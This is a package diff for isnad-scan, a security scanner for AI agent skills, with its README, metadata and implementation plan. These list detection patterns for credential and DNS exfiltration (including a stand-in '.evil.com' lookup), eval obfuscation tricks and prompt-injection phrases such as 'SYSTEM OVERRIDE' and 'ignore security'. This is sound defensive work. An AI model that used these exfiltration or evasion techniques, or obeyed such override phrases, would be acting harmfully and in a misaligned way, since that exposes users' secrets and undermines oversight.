isnad-scan 0.3.0__tar.gz

isnad_scan-0.3.0/.gitignore

@@ -0,0 +1,7 @@
+# Env files
+.env
+.env.local
+*.db
+*.db-journal
+node_modules/
+dist/

isnad_scan-0.3.0/PKG-INFO

@@ -0,0 +1,186 @@
+Metadata-Version: 2.4
+Name: isnad-scan
+Version: 0.3.0
+Summary: Security scanner for AI agent skills - detects code injection, prompt injection, credential exfiltration, and supply chain attacks
+Project-URL: Homepage, https://isnad.md
+Project-URL: Documentation, https://isnad.md/docs
+Project-URL: Repository, https://github.com/counterspec/isnad
+Project-URL: Issues, https://github.com/counterspec/isnad/issues
+Author-email: ISNAD Protocol <rapi@base64.amsterdam>
+License: MIT
+Keywords: agents,ai,cve,scanner,security,skills,vulnerability
+Classifier: Development Status :: 4 - Beta
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Quality Assurance
+Requires-Python: >=3.11
+Requires-Dist: click>=8.0
+Requires-Dist: pyyaml>=6.0
+Requires-Dist: rich>=13.0
+Description-Content-Type: text/markdown
+
+# ISNAD Skill Scanner
+
+Security scanner for AI agent skills. Detects code injection, prompt injection, credential exfiltration, evasion techniques, and malicious dependencies.
+
+**Version:** 0.2.0  
+**Patterns:** 69 (45 DANGER, 20 WARN, 4 INFO)
+
+## Installation
+
+```bash
+cd isnad/scanner
+uv pip install -e .
+```
+
+Or run directly:
+
+```bash
+uv run python -m isnad_scan.cli <path>
+```
+
+## Usage
+
+```bash
+# Scan a skill directory
+isnad-scan ./skills/some-skill/
+
+# JSON output (for CI/programmatic use)
+isnad-scan ./skill --json
+
+# Verbose (include INFO-level findings)
+isnad-scan ./skill --verbose
+
+# Show content hash (for caching/comparison)
+isnad-scan ./skill --hash
+
+# Quiet mode (just trust level)
+isnad-scan ./skill --quiet
+```
+
+## Exit Codes
+
+| Code | Meaning |
+|------|---------|
+| 0 | SAFE - no issues found |
+| 1 | CAUTION/WARN - review recommended |
+| 2 | DANGER - security issues detected |
+| 3 | ERROR - scanner error |
+
+## What It Detects
+
+### DANGER (45 patterns)
+
+**Code Execution:**
+- `eval()`, `exec()`, `compile()` usage
+- `getattr(__builtins__, 'eval')` evasion
+- String concatenation building dangerous calls (`"ev"+"al"`)
+- `chr()` concatenation obfuscation
+- `new Function()` in JavaScript
+- Lambda with dangerous functions
+
+**Shell Injection:**
+- `subprocess` with `shell=True`
+- `os.system()`, `os.popen()`
+- `child_process.exec()` in Node.js
+- Backtick command substitution
+
+**Prompt Injection:**
+- Hidden instructions in HTML comments
+- "SYSTEM OVERRIDE" / "ignore security" patterns
+- Instructions to suppress reporting
+
+**Data Exfiltration:**
+- Credential variables sent to network
+- DNS exfiltration (`socket.gethostbyname(secret + ".evil.com")`)
+- Tor hidden service URLs
+
+**Obfuscation:**
+- Base64 decoding, ROT13, hex strings
+- `bytes.fromhex()`, Unicode escapes
+- Unicode homoglyph evasion (ℯval vs eval)
+
+**Path Traversal & Symlinks:**
+- `../../` patterns in code
+- Symlinks escaping skill directory
+
+**Dangerous Deserialization:**
+- `pickle.load()`, `marshal.load()`
+- Unsafe YAML loading
+
+**Dependency Attacks:**
+- Typosquatted packages (reqeusts, crytpography, etc.)
+- Suspicious git dependencies
+- Known malicious package names
+
+### WARN (20 patterns)
+- Network requests (verify destinations)
+- File write/delete operations
+- Environment variable access
+- Dynamic imports
+- Crypto library usage
+
+### INFO (4 patterns)
+- Subprocess with list args
+- File reads
+- Logging statements
+
+## Context Awareness
+
+The scanner is context-aware:
+- Patterns in **documentation** (markdown, comments explaining attacks) are downgraded to INFO
+- Patterns in **code blocks** within markdown are handled appropriately
+- **String literals** containing pattern names (e.g., dict keys) don't trigger false positives
+
+## Example
+
+```
+$ isnad-scan ./evasion-skill/
+
+╭─── ISNAD Scan: ./evasion-skill ───╮
+│ Trust Level: 🚨 DANGER            │
+╰───────────────────────────────────╯
+
+📁 Files scanned: 3
+🚨 DANGER findings: 18
+
+[DANGER] evasion.py:10 — getattr_dangerous
+    Dynamic access to dangerous function via getattr
+
+[DANGER] evasion.py:5 — string_concat_evasion
+    String concatenation building eval/exec - evasion attempt
+
+[DANGER] SKILL.md:5 — prompt_injection_html
+    Potential prompt injection - attempts to override security
+
+[DANGER] requirements.txt:6 — dangerous_package
+    Potentially dangerous or typosquatted package: reqeusts
+```
+
+## Limitations
+
+What the scanner **cannot** catch (yet):
+- AST-level evasion (import aliasing, nested dynamic calls)
+- Minified/bundled JavaScript
+- Binary files with embedded scripts
+- Packages with known CVEs (needs OSV integration)
+- Actual malicious intent vs. legitimate security tools
+
+## Roadmap
+
+- [x] Pattern-based scanning (69 patterns)
+- [x] Dependency scanning (typosquats, suspicious sources)
+- [x] Symlink safety checks
+- [x] Context awareness (docs vs code)
+- [x] Prompt injection detection
+- [ ] AST parsing for Python/JS
+- [ ] CVE database integration (OSV/Snyk)
+- [ ] URL scanning (download remote skills)
+- [ ] ISNAD Registry integration (inscribe attestations)
+- [ ] ClawHub pre-install hook

isnad_scan-0.3.0/PLAN.md

@@ -0,0 +1,237 @@
+# ISNAD Skill Scanner - Implementation Plan
+
+## Overview
+CLI tool that scans agent skills for security issues before installation.
+
+**Command:** `isnad-scan <path-to-skill>`
+**Output:** Trust assessment + detailed findings
+
+---
+
+## Phase 1: MVP (Today)
+
+### Core Features
+1. **Input:** Path to skill directory or SKILL.md URL
+2. **Scanning:**
+   - Parse all files in skill directory
+   - Check against pattern database
+   - Aggregate findings
+3. **Output:**
+   - Trust level: SAFE / WARN / DANGER
+   - List of findings with file:line references
+   - Summary stats
+
+### Pattern Categories
+
+#### DANGER (immediate threats)
+- Hidden URLs in HTML/MD comments
+- Base64-encoded strings (potential obfuscation)
+- `curl`, `wget`, `fetch` to unknown domains
+- Credential patterns (`API_KEY`, `SECRET`, `TOKEN` + exfil)
+- Shell command injection (`subprocess`, `exec`, `eval`)
+- File system access outside skill directory
+
+#### WARN (suspicious but not definitive)
+- Network calls to any external domain
+- File writes outside designated paths
+- Environment variable access
+- Dynamic code execution patterns
+
+#### INFO (notable but likely fine)
+- Dependencies with known CVEs
+- Outdated package versions
+- Missing security headers in web requests
+
+### File Structure
+```
+isnad/scanner/
+├── PLAN.md           # This file
+├── pyproject.toml    # uv project config
+├── src/
+│   └── isnad_scan/
+│       ├── __init__.py
+│       ├── cli.py        # Entry point
+│       ├── scanner.py    # Core scanning logic
+│       ├── patterns.py   # Pattern definitions
+│       ├── parsers.py    # File type parsers
+│       └── report.py     # Output formatting
+└── tests/
+    ├── fixtures/         # Test skills (safe, malicious)
+    └── test_scanner.py
+```
+
+### CLI Interface
+```bash
+# Scan local skill
+isnad-scan ./skills/some-skill/
+
+# Scan from URL
+isnad-scan https://clawhub.com/skills/some-skill
+
+# Output formats
+isnad-scan ./skill --json
+isnad-scan ./skill --verbose
+
+# Exit codes
+# 0 = SAFE
+# 1 = WARN
+# 2 = DANGER
+# 3 = ERROR
+```
+
+---
+
+## Phase 2: Registry Integration
+
+### Features
+- Inscribe scan results to ISNAD Registry
+- Look up existing attestations before scanning
+- Stake on scan results (auditor mode)
+
+### Flow
+```
+1. isnad-scan ./skill --attest
+2. Scanner runs, produces report
+3. Report hash inscribed to Registry
+4. Auditor stakes ISNAD on the attestation
+5. Future scans check existing attestations first
+```
+
+---
+
+## Phase 3: Distribution
+
+### ClawHub Integration
+- Pre-install hook: scan before `clawhub install`
+- Badge system: "ISNAD Verified" for attested skills
+
+### OpenClaw Integration
+- Built-in skill scanning before loading
+- Trust threshold configuration
+
+---
+
+## Patterns Database (Initial)
+
+```python
+DANGER_PATTERNS = [
+    # Hidden URLs in comments
+    (r'<!--.*?(https?://[^\s]+).*?-->', 'hidden_url_html'),
+    (r'#.*?(https?://[^\s]+)', 'hidden_url_comment'),
+    
+    # Obfuscation
+    (r'base64\.(b64decode|decode)', 'base64_decode'),
+    (r'eval\s*\(', 'eval_usage'),
+    (r'exec\s*\(', 'exec_usage'),
+    
+    # Data exfiltration
+    (r'(curl|wget|fetch)\s+.*?(api_key|secret|token|password)', 'credential_exfil'),
+    (r'requests\.(get|post).*?(api_key|secret|token)', 'credential_exfil'),
+    
+    # Shell injection
+    (r'subprocess\.(run|call|Popen).*?shell\s*=\s*True', 'shell_injection'),
+    (r'os\.system\s*\(', 'os_system'),
+]
+
+WARN_PATTERNS = [
+    # Network access
+    (r'requests\.(get|post|put|delete)', 'network_request'),
+    (r'urllib\.request', 'network_request'),
+    (r'aiohttp\.ClientSession', 'network_request'),
+    
+    # File system
+    (r'open\s*\([^)]*["\']w', 'file_write'),
+    (r'pathlib\.Path.*?write', 'file_write'),
+    
+    # Environment
+    (r'os\.environ', 'env_access'),
+    (r'getenv\s*\(', 'env_access'),
+]
+```
+
+---
+
+## Today's Tasks
+
+1. [x] Create project structure
+2. [x] Implement pattern database (15 DANGER, 10 WARN, 3 INFO patterns)
+3. [x] Build file parsers (py, js, sh, md, html, yaml, json, toml)
+4. [x] Create CLI with click + rich
+5. [x] Write core scanner logic
+6. [x] Add JSON output format
+7. [x] Create test fixtures (malicious + safe)
+8. [x] Test against real skills (clawdefender = SAFE ✓)
+9. [x] Document usage (README.md)
+
+---
+
+## Success Criteria
+
+- [x] Can scan a skill directory and produce report
+- [x] Catches Zack Korman's hidden-curl-in-HTML demo ✓
+- [x] Exit codes work for CI integration (0=safe, 1=warn, 2=danger)
+- [x] JSON output for programmatic use
+- [x] < 5 seconds for typical skill scan (< 1 second)
+
+---
+
+## Version 0.3.0 Features (Completed Feb 3, 2026)
+
+### AST Analysis (Python)
+- [x] Import aliasing detection (`from os import system as s`)
+- [x] Variable assignment tracking (`x = eval`)
+- [x] Call tracing through aliases
+- [x] Dynamic code execution detection
+- [x] Suspicious module imports (ctypes, pty)
+- [x] subprocess shell=True detection through aliases
+
+### CVE Database Integration
+- [x] OSV.dev API integration (free, no API key)
+- [x] requirements.txt, package.json, pyproject.toml parsing
+- [x] Known vulnerability detection with severity
+- [x] Network optional (--cve flag)
+
+### JavaScript Analysis
+- [x] Minified JS detection
+- [x] Basic unminification for pattern detection
+- [x] JS-specific dangerous patterns (40+ patterns)
+- [x] Prototype pollution detection
+- [x] DOM XSS sinks
+- [x] Node.js child_process detection
+
+### Binary File Scanning
+- [x] .pyc file scanning
+- [x] Embedded script detection
+- [x] Private key detection
+- [x] AWS credential detection
+- [x] Image steganography indicators
+- [x] Hidden data after image EOF markers
+
+---
+
+## Roadmap
+
+### v0.4.0 — Enhanced Analysis
+- [ ] Full JavaScript AST parsing (via esprima/acorn)
+- [ ] TypeScript support
+- [ ] Decompilation of .pyc to source (uncompyle6/pycdc)
+- [ ] Go module scanning (go.mod/go.sum)
+- [ ] Rust crate scanning (Cargo.toml/Cargo.lock)
+
+### v0.5.0 — Registry Integration
+- [ ] ISNAD Registry integration (inscribe scan attestations)
+- [ ] Stake on scan results (auditor mode)
+- [ ] Look up existing attestations before scanning
+- [ ] ClawHub pre-install hook
+
+### v0.6.0 — Advanced Detection
+- [ ] Custom encoding detection (beyond base64/hex)
+- [ ] Control flow analysis for data exfiltration
+- [ ] Taint tracking (trace user input to dangerous sinks)
+- [ ] Machine learning-based anomaly detection
+
+### Future
+- [ ] Runtime behavior analysis (sandbox execution)
+- [ ] Syscall monitoring during skill execution
+- [ ] Network traffic analysis
+- [ ] Differential scanning (detect changes between versions)

isnad_scan-0.3.0/README.md

@@ -0,0 +1,159 @@
+# ISNAD Skill Scanner
+
+Security scanner for AI agent skills. Detects code injection, prompt injection, credential exfiltration, evasion techniques, and malicious dependencies.
+
+**Version:** 0.2.0  
+**Patterns:** 69 (45 DANGER, 20 WARN, 4 INFO)
+
+## Installation
+
+```bash
+cd isnad/scanner
+uv pip install -e .
+```
+
+Or run directly:
+
+```bash
+uv run python -m isnad_scan.cli <path>
+```
+
+## Usage
+
+```bash
+# Scan a skill directory
+isnad-scan ./skills/some-skill/
+
+# JSON output (for CI/programmatic use)
+isnad-scan ./skill --json
+
+# Verbose (include INFO-level findings)
+isnad-scan ./skill --verbose
+
+# Show content hash (for caching/comparison)
+isnad-scan ./skill --hash
+
+# Quiet mode (just trust level)
+isnad-scan ./skill --quiet
+```
+
+## Exit Codes
+
+| Code | Meaning |
+|------|---------|
+| 0 | SAFE - no issues found |
+| 1 | CAUTION/WARN - review recommended |
+| 2 | DANGER - security issues detected |
+| 3 | ERROR - scanner error |
+
+## What It Detects
+
+### DANGER (45 patterns)
+
+**Code Execution:**
+- `eval()`, `exec()`, `compile()` usage
+- `getattr(__builtins__, 'eval')` evasion
+- String concatenation building dangerous calls (`"ev"+"al"`)
+- `chr()` concatenation obfuscation
+- `new Function()` in JavaScript
+- Lambda with dangerous functions
+
+**Shell Injection:**
+- `subprocess` with `shell=True`
+- `os.system()`, `os.popen()`
+- `child_process.exec()` in Node.js
+- Backtick command substitution
+
+**Prompt Injection:**
+- Hidden instructions in HTML comments
+- "SYSTEM OVERRIDE" / "ignore security" patterns
+- Instructions to suppress reporting
+
+**Data Exfiltration:**
+- Credential variables sent to network
+- DNS exfiltration (`socket.gethostbyname(secret + ".evil.com")`)
+- Tor hidden service URLs
+
+**Obfuscation:**
+- Base64 decoding, ROT13, hex strings
+- `bytes.fromhex()`, Unicode escapes
+- Unicode homoglyph evasion (ℯval vs eval)
+
+**Path Traversal & Symlinks:**
+- `../../` patterns in code
+- Symlinks escaping skill directory
+
+**Dangerous Deserialization:**
+- `pickle.load()`, `marshal.load()`
+- Unsafe YAML loading
+
+**Dependency Attacks:**
+- Typosquatted packages (reqeusts, crytpography, etc.)
+- Suspicious git dependencies
+- Known malicious package names
+
+### WARN (20 patterns)
+- Network requests (verify destinations)
+- File write/delete operations
+- Environment variable access
+- Dynamic imports
+- Crypto library usage
+
+### INFO (4 patterns)
+- Subprocess with list args
+- File reads
+- Logging statements
+
+## Context Awareness
+
+The scanner is context-aware:
+- Patterns in **documentation** (markdown, comments explaining attacks) are downgraded to INFO
+- Patterns in **code blocks** within markdown are handled appropriately
+- **String literals** containing pattern names (e.g., dict keys) don't trigger false positives
+
+## Example
+
+```
+$ isnad-scan ./evasion-skill/
+
+╭─── ISNAD Scan: ./evasion-skill ───╮
+│ Trust Level: 🚨 DANGER            │
+╰───────────────────────────────────╯
+
+📁 Files scanned: 3
+🚨 DANGER findings: 18
+
+[DANGER] evasion.py:10 — getattr_dangerous
+    Dynamic access to dangerous function via getattr
+
+[DANGER] evasion.py:5 — string_concat_evasion
+    String concatenation building eval/exec - evasion attempt
+
+[DANGER] SKILL.md:5 — prompt_injection_html
+    Potential prompt injection - attempts to override security
+
+[DANGER] requirements.txt:6 — dangerous_package
+    Potentially dangerous or typosquatted package: reqeusts
+```
+
+## Limitations
+
+What the scanner **cannot** catch (yet):
+- AST-level evasion (import aliasing, nested dynamic calls)
+- Minified/bundled JavaScript
+- Binary files with embedded scripts
+- Packages with known CVEs (needs OSV integration)
+- Actual malicious intent vs. legitimate security tools
+
+## Roadmap
+
+- [x] Pattern-based scanning (69 patterns)
+- [x] Dependency scanning (typosquats, suspicious sources)
+- [x] Symlink safety checks
+- [x] Context awareness (docs vs code)
+- [x] Prompt injection detection
+- [ ] AST parsing for Python/JS
+- [ ] CVE database integration (OSV/Snyk)
+- [ ] URL scanning (download remote skills)
+- [ ] ISNAD Registry integration (inscribe attestations)
+- [ ] ClawHub pre-install hook